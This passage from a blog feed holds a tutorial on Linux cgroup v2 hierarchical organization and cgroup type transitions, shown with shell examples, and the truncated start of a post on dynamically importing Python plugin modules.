&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;test/cg1
$&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;test/cg2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="domain-cgroups"&gt;&lt;code&gt;domain&lt;/code&gt; cgroups&lt;/h2&gt;
&lt;p&gt;The file &lt;code&gt;cgroup.type&lt;/code&gt; says which kind of cgroup we have:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;test/cgroup.type
domain

$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;test/cg1/cgroup.type
domain

$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;test/cg2/cgroup.type
domain
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A cgroup that operates with processes is called a &lt;em&gt;domain&lt;/em&gt; and it is the default type for each newly created cgroup.&lt;/p&gt;
&lt;p&gt;&lt;label for='ClRoZSB0ZXJtICpzbGljZSogaXMgYm9ycm93ZWQgZnJvbSBgc3lzdGVtZGA6IGBzeXN0ZW1kYCB1c2VzIGBjZ3JvdXBgIHRvCm1hbmFnZSB0aGUgcmVzb3VyY2VzIG9mIHByb2Nlc3NlcyBhbmQgbmFtZXMgYC5zbGljZWAgdGhlIGZpbGVzIHRvCmNvbmZpZ3VyZSB0aGUgcmVzb3VyY2UgZGlzdHJpYnV0aW9uLgptYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRoZSB0ZXJtICpzbGljZSogaXMgYm9ycm93ZWQgZnJvbSBgc3lzdGVtZGA6IGBzeXN0ZW1kYCB1c2VzIGBjZ3JvdXBgIHRvCm1hbmFnZSB0aGUgcmVzb3VyY2VzIG9mIHByb2Nlc3NlcyBhbmQgbmFtZXMgYC5zbGljZWAgdGhlIGZpbGVzIHRvCmNvbmZpZ3VyZSB0aGUgcmVzb3VyY2UgZGlzdHJpYnV0aW9uLgptYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
The term &lt;em&gt;slice&lt;/em&gt; is borrowed from &lt;code&gt;systemd&lt;/code&gt;: &lt;code&gt;systemd&lt;/code&gt; uses &lt;code&gt;cgroup&lt;/code&gt; to manage the resources of processes and names &lt;code&gt;.slice&lt;/code&gt; the files to configure the resource distribution.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;It is our main way to organize processes into different domains to assign them different amounts of a resource, different &lt;em&gt;slices&lt;/em&gt; of the cake.&lt;/p&gt;
&lt;h2 id="domain-threaded-and-threaded-cgroups"&gt;&lt;code&gt;domain threaded&lt;/code&gt; and &lt;code&gt;threaded&lt;/code&gt; cgroups&lt;/h2&gt;
&lt;p&gt;However there are some resources that still make sense to distribute them even further, at the thread level.&lt;/p&gt;
&lt;p&gt;In these cases we can turn one &lt;em&gt;normal&lt;/em&gt; &lt;code&gt;domain&lt;/code&gt; into a &lt;code&gt;domain threaded&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;label for='CioqU3VtbWFyeToqKiBhIGBkb21haW5gIG9yIGBkb21haW4gdGhyZWFkZWRgIGFyZSBgY2dyb3Vwc2AgdGhhdCBvcGVyYXRlIGF0IHByb2Nlc3MKbGV2ZWwgd2hpbGUgYHRocmVhZGVkIGNncm91cHNgIG9wZXJhdGVzIGF0IHRocmVhZCBsZXZlbC4KbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CioqU3VtbWFyeToqKiBhIGBkb21haW5gIG9yIGBkb21haW4gdGhyZWFkZWRgIGFyZSBgY2dyb3Vwc2AgdGhhdCBvcGVyYXRlIGF0IHByb2Nlc3MKbGV2ZWwgd2hpbGUgYHRocmVhZGVkIGNncm91cHNgIG9wZXJhdGVzIGF0IHRocmVhZCBsZXZlbC4KbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;strong&gt;Summary:&lt;/strong&gt; a &lt;code&gt;domain&lt;/code&gt; or &lt;code&gt;domain threaded&lt;/code&gt; are &lt;code&gt;cgroups&lt;/code&gt; that operate at process level while &lt;code&gt;threaded cgroups&lt;/code&gt; operates at thread level.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The domain threaded still operates at the process level but further divisions are for &lt;em&gt;partitioning the threads&lt;/em&gt; of the processes in the domain.&lt;/p&gt;
&lt;p&gt;These divisions are neither normal &lt;code&gt;domain&lt;/code&gt; nor &lt;code&gt;domain threaded&lt;/code&gt;, these are &lt;code&gt;threaded&lt;/code&gt; cgroups.&lt;/p&gt;
&lt;p&gt;Let’s create first a few normal &lt;code&gt;domain&lt;/code&gt;s:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;test/cg1/t1
$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;test/cg1/t1/cgroup.type
domain

$&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;test/cg1/t2
$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;test/cg1/t2/cgroup.type
domain
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now we turn one of the domains into a &lt;code&gt;threaded&lt;/code&gt; cgroup and that will automatically turn &lt;em&gt;its parent&lt;/em&gt; into a &lt;code&gt;domain threaded&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# The parent cgroup, before&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;test/cg1/cgroup.type
domain

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;threaded&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg1/t1/cgroup.type
$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;test/cg1/t1/cgroup.type
threaded

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# The parent cgroup, after&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;test/cg1/cgroup.type
domain&lt;span class="w"&gt; &lt;/span&gt;threaded
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;While we can still use &lt;code&gt;test/cg1/&lt;/code&gt; to control the resources of the processes that belong to the group, we can now use &lt;code&gt;test/cg1/t1/&lt;/code&gt; and &lt;code&gt;test/cg1/t2/&lt;/code&gt; to distribute the resources differently among the &lt;em&gt;threads&lt;/em&gt; of the processes.&lt;/p&gt;
&lt;p&gt;Of course this is possible only if the resource controller supports such distribution, if it is meaningful.&lt;/p&gt;
&lt;p&gt;A resource controller that can distribute the resource among threads is a &lt;em&gt;thread controller&lt;/em&gt;. A resource controller that operates only at the process level is a &lt;em&gt;domain controller&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;A main difference with &lt;code&gt;cgroup v1&lt;/code&gt; is that in &lt;code&gt;v2&lt;/code&gt; all the threads of a process belong to the &lt;em&gt;same&lt;/em&gt; domain and hence they are subject to the control of a domain controller.&lt;/p&gt;
&lt;p&gt;We can distribute the resources even further creating &lt;code&gt;threaded&lt;/code&gt; partitions but all of them are inside the &lt;em&gt;same&lt;/em&gt; &lt;code&gt;domain threaded&lt;/code&gt; group.&lt;/p&gt;
&lt;p&gt;In &lt;code&gt;v1&lt;/code&gt; the threads of a process could live in a different, totally unrelated part of the hierarchy that made the implementation of the controllers much complex.&lt;/p&gt;
&lt;h2 id="domain-invalid"&gt;&lt;code&gt;domain invalid&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;We made &lt;code&gt;test/cg1/t1/&lt;/code&gt; into a &lt;code&gt;threaded&lt;/code&gt; and that turned its parent &lt;code&gt;test/cg1/&lt;/code&gt; into a &lt;code&gt;domain threaded&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;What happen with the sibling of &lt;code&gt;test/cg1/t1/&lt;/code&gt;, the &lt;code&gt;test/cg1/t2/&lt;/code&gt; cgroup?&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# The parent cgroup&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;test/cg1/cgroup.type
domain&lt;span class="w"&gt; &lt;/span&gt;threaded

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# The threaded cgroup&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;test/cg1/t1/cgroup.type
threaded

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# Its sibling&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;test/cg1/t2/cgroup.type
domain&lt;span class="w"&gt; &lt;/span&gt;invalid
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;test/cg1/t2/&lt;/code&gt; is in an invalid state because we said that any subfolder of a &lt;code&gt;domain threaded&lt;/code&gt; must be of the &lt;code&gt;threaded&lt;/code&gt; kind.&lt;/p&gt;
&lt;p&gt;By default &lt;code&gt;test/cg1/t2/&lt;/code&gt; was &lt;code&gt;domain&lt;/code&gt; so this is incompatible.&lt;/p&gt;
&lt;p&gt;The same would happen if we create a new cgroup, because the default is of type &lt;code&gt;domain&lt;/code&gt;, the resulting will be invalid too.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# The parent cgroup&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;test/cg1/cgroup.type
domain&lt;span class="w"&gt; &lt;/span&gt;threaded

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# Create a new cgroup&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;test/cg1/t3

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# The default type is always &amp;#39;domain&amp;#39; so it makes&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# it invalid here inside of the &amp;#39;domain threaded&amp;#39;&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;test/cg1/t3/cgroup.type
domain&lt;span class="w"&gt; &lt;/span&gt;invalid
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We can turn these invalid domains into &lt;code&gt;threaded&lt;/code&gt; cgroups just writing in their &lt;code&gt;cgroup.type&lt;/code&gt; the value &lt;code&gt;threaded&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;threaded&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg1/t2/cgroup.type
$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;test/cg1/t2/cgroup.type
threaded
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="life-time-of-a-domain-threaded"&gt;Life time of a &lt;code&gt;domain threaded&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;As we saw earlier, a &lt;code&gt;domain threaded&lt;/code&gt; can be created by making one of its (sub) cgroups a &lt;code&gt;threaded&lt;/code&gt; cgroup.&lt;/p&gt;
&lt;p&gt;It is &lt;em&gt;not&lt;/em&gt; possible to write &lt;code&gt;domain threaded&lt;/code&gt; neither to change the type of a &lt;code&gt;domain invalid&lt;/code&gt; nor to change a &lt;code&gt;domain&lt;/code&gt; into a &lt;code&gt;domain threaded&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;domain threaded&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg1/t3/cgroup.type
bash:&lt;span class="w"&gt; &lt;/span&gt;echo:&lt;span class="w"&gt; &lt;/span&gt;write&lt;span class="w"&gt; &lt;/span&gt;error:&lt;span class="w"&gt; &lt;/span&gt;Invalid&lt;span class="w"&gt; &lt;/span&gt;argument

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;domain threaded&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg2/cgroup.type
bash:&lt;span class="w"&gt; &lt;/span&gt;echo:&lt;span class="w"&gt; &lt;/span&gt;write&lt;span class="w"&gt; &lt;/span&gt;error:&lt;span class="w"&gt; &lt;/span&gt;Invalid&lt;span class="w"&gt; &lt;/span&gt;argument

$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;test/cg1/t3/cgroup.type
domain&lt;span class="w"&gt; &lt;/span&gt;invalid

$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;test/cg2/cgroup.type
domain
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The only way to get a &lt;code&gt;domain threaded&lt;/code&gt; is to have a (sub) cgroup of &lt;code&gt;threaded&lt;/code&gt; type.&lt;/p&gt;
&lt;p&gt;The same restriction works on the way back: to make a &lt;code&gt;domain threaded&lt;/code&gt; back to a &lt;code&gt;domain&lt;/code&gt; you must delete the (sub) &lt;code&gt;threaded&lt;/code&gt; cgroups (changing them to &lt;code&gt;domain&lt;/code&gt; does not work).&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# this doen&amp;#39;t work&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;domain&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg1/t1/cgroup.type
&amp;lt;...&amp;gt;write&lt;span class="w"&gt; &lt;/span&gt;error:&lt;span class="w"&gt; &lt;/span&gt;Invalid&lt;span class="w"&gt; &lt;/span&gt;argument

$&lt;span class="w"&gt; &lt;/span&gt;rmdir&lt;span class="w"&gt; &lt;/span&gt;test/cg1/t1
$&lt;span class="w"&gt; &lt;/span&gt;rmdir&lt;span class="w"&gt; &lt;/span&gt;test/cg1/t2

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# back to &amp;quot;normal&amp;quot; domain&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;test/cg1/cgroup.type
domain

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# not longer domain invalid&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;test/cg1/t3/cgroup.type
domain
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="cgroups-type-transitions"&gt;cgroup’s type transitions&lt;/h2&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
A summary of all the possible types that a cgroup can have and the possible transitions from one type to another.
&lt;br /&gt;&lt;br /&gt;
All the transitions requires a direct action from the user like &lt;code&gt;rmdir&lt;/code&gt; a folder to delete a cgroup or writing &lt;code&gt;"threaded"&lt;/code&gt; in &lt;code&gt;cgroup.type&lt;/code&gt; to turn that &lt;code&gt;cgroup&lt;/code&gt; into a &lt;code&gt;threaded&lt;/code&gt; cgroup.
&lt;br /&gt;&lt;br /&gt;
There are 2 exceptions: a &lt;code&gt;domain&lt;/code&gt; goes to &lt;code&gt;domain invalid&lt;/code&gt; or to &lt;code&gt;domain threaded&lt;/code&gt; based on the type of its parent and children. The same with the reverse transitions.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/kernel/cgroups/cgroup-states.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="cgroup-hierarchical-organization"&gt;&lt;code&gt;cgroup&lt;/code&gt; hierarchical organization&lt;/h2&gt;
&lt;p&gt;&lt;label for='PG9iamVjdCBzdHlsZT0iZGlzcGxheTogYmxvY2s7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IiBjbGFzcz0nJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL2tlcm5lbC9jZ3JvdXBzL2Nncm91cC1oaWVyYXJjaGljYWwtb3JnLnN2ZycgdHlwZT0naW1hZ2Uvc3ZnK3htbCc+PC9vYmplY3Q+PGJyIC8+CkVhY2ggYm94IHJlcHJlc2VudHMgYSBjZ3JvdXAgKnR5cGUqIGFuZCB0aGUgYXJyb3dzCnJlcHJlc2VudHMgd2hpY2ggY2dyb3VwIHR5cGUgY2FuICpjb250YWluKiB3aGljaCAoc3ViKSBgY2dyb3VwYC4KRm9yIGV4YW1wbGUgb25lIGBkb21haW4gdGhyZWFkZWRgIGNhbiBoYXZlIG9uZSBvciBtb3JlIGB0aHJlYWRlZGAKY2dyb3Vwcy4KCipSb290KiBpcyBhIHZlcnkgc3BlY2lhbCBjZ3JvdXAgdGhhdCBjYW4gY29udGFpbiBhbnkgb3RoZXIgdHlwZSBvZgpjZ3JvdXA6IGBkb21haW5gLCBgZG9tYWluIHRocmVhZGVkYCBhbmQgYHRocmVhZGVkYC4KClRoZSBkaWFncmFtIGZvbGxvd3MgdGhlIHNlbWFudGljcyBvZiBhbiBVTUwgZGlhZ3JhbS5tYXJnaW4=' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PG9iamVjdCBzdHlsZT0iZGlzcGxheTogYmxvY2s7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IiBjbGFzcz0nJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL2tlcm5lbC9jZ3JvdXBzL2Nncm91cC1oaWVyYXJjaGljYWwtb3JnLnN2ZycgdHlwZT0naW1hZ2Uvc3ZnK3htbCc+PC9vYmplY3Q+PGJyIC8+CkVhY2ggYm94IHJlcHJlc2VudHMgYSBjZ3JvdXAgKnR5cGUqIGFuZCB0aGUgYXJyb3dzCnJlcHJlc2VudHMgd2hpY2ggY2dyb3VwIHR5cGUgY2FuICpjb250YWluKiB3aGljaCAoc3ViKSBgY2dyb3VwYC4KRm9yIGV4YW1wbGUgb25lIGBkb21haW4gdGhyZWFkZWRgIGNhbiBoYXZlIG9uZSBvciBtb3JlIGB0aHJlYWRlZGAKY2dyb3Vwcy4KCipSb290KiBpcyBhIHZlcnkgc3BlY2lhbCBjZ3JvdXAgdGhhdCBjYW4gY29udGFpbiBhbnkgb3RoZXIgdHlwZSBvZgpjZ3JvdXA6IGBkb21haW5gLCBgZG9tYWluIHRocmVhZGVkYCBhbmQgYHRocmVhZGVkYC4KClRoZSBkaWFncmFtIGZvbGxvd3MgdGhlIHNlbWFudGljcyBvZiBhbiBVTUwgZGlhZ3JhbS5tYXJnaW4=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/kernel/cgroups/cgroup-hierarchical-org.svg' type='image/svg+xml'&gt;&lt;/object&gt;
&lt;br /&gt; Each box represents a cgroup &lt;em&gt;type&lt;/em&gt; and the arrows represents which cgroup type can &lt;em&gt;contain&lt;/em&gt; which (sub) &lt;code&gt;cgroup&lt;/code&gt;. For example one &lt;code&gt;domain threaded&lt;/code&gt; can have one or more &lt;code&gt;threaded&lt;/code&gt; cgroups.
&lt;br /&gt;&lt;br /&gt;
&lt;em&gt;Root&lt;/em&gt; is a very special cgroup that can contain any other type of cgroup: &lt;code&gt;domain&lt;/code&gt;, &lt;code&gt;domain threaded&lt;/code&gt; and &lt;code&gt;threaded&lt;/code&gt;.
&lt;br /&gt;&lt;br /&gt;
The diagram follows the semantics of an UML diagram.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;We can summarize all the above in the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A domain can be divided into more &lt;code&gt;domains&lt;/code&gt; just creating more (sub) cgroups with &lt;code&gt;mkdir&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;A cgroup can be turned into a &lt;code&gt;threaded&lt;/code&gt; cgroup; its parent cgroup is automatically turned into a &lt;code&gt;domain threaded&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;If a &lt;code&gt;domain threaded&lt;/code&gt; is left without &lt;code&gt;threaded&lt;/code&gt; cgroups, automatically changes to &lt;code&gt;domain&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;A &lt;code&gt;domain threaded&lt;/code&gt; is divided into &lt;code&gt;threaded&lt;/code&gt; cgroups and these can be further divided in more (sub) &lt;code&gt;threaded&lt;/code&gt; cgroups.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The mount point or &lt;em&gt;root&lt;/em&gt; is a special cgroup that works as a &lt;code&gt;domain&lt;/code&gt; but also as a &lt;code&gt;domain threaded&lt;/code&gt; so it can have (sub) cgroups of &lt;code&gt;domain&lt;/code&gt; type and of &lt;code&gt;threaded&lt;/code&gt; type as well.&lt;/p&gt;
&lt;h2 id="further-reading"&gt;Further reading&lt;/h2&gt;
&lt;p&gt;We mentioned &lt;code&gt;mount&lt;/code&gt; but nothing else. &lt;code&gt;cgroup v2&lt;/code&gt; has a few options for the &lt;code&gt;mount&lt;/code&gt; call but I didn’t covered them.&lt;/p&gt;
&lt;p&gt;The kernel also has a few parameters to disable certain controllers but I totally skipped them :)&lt;/p&gt;
&lt;p&gt;In general, the default setting of your distro should be fine.&lt;/p&gt;
&lt;h2 id="next-stuff"&gt;Next stuff&lt;/h2&gt;
&lt;p&gt;We shown how the &lt;code&gt;cgroup&lt;/code&gt; hierarchy is organized. In the next post we will see how the &lt;a href="/articles/2022/04/24/Linux-Control-Group-Resource-Distribution.html"&gt;resources are distributed&lt;/a&gt; among the cgroups and &lt;a href="/articles/2022/04/27/Linux-Control-Group-No-Internal-Process-Constraint.html"&gt;which constraints&lt;/a&gt; do we have.&lt;/p&gt;
&lt;!--
Delete recursively every cgroup (folder) from the leaves to the
root.

$ cd /sys/fs/cgroup/                                              # byexample: +pass -skip
$ rmdir $(find /sys/fs/cgroup/test/ -type d | sort -r)         # byexample: +pass -skip
--&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2022/04/23/Linux-Control-Group-Hierarchical-Organization.html" rel="alternate" type="text/html" title="Control Group - Hierarchical Organization"/>
    <category term="linux" label="linux"/>
    <category term="kernel" label="kernel"/>
    <category term="cgroup" label="cgroup"/>
    <published>2022-04-23T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2022/03/06/Multiprocessing-Spawn-of-Dynamically-Imported-Code.html</id>
    <title>Multiprocessing Spawn of Dynamically Imported Code</title>
    <updated>2022-03-06T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;The following snippet loads any Python module in the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;./&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; folder.&lt;/p&gt;
&lt;p&gt;This is the Python 3.x way to load code dynamically.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;load_modules&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;dirnames&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;plugins/&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;loaded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# For each plugin folder, see which Python files are there&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# and load them&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;importer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;is_pkg&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;pkgutil&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iter_modules&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dirnames&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="c1"&gt;# Find and load the Python module&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;spec&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;importer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;find_spec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;module&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;importlib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;util&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;module_from_spec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;spec&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;spec&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exec_module&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
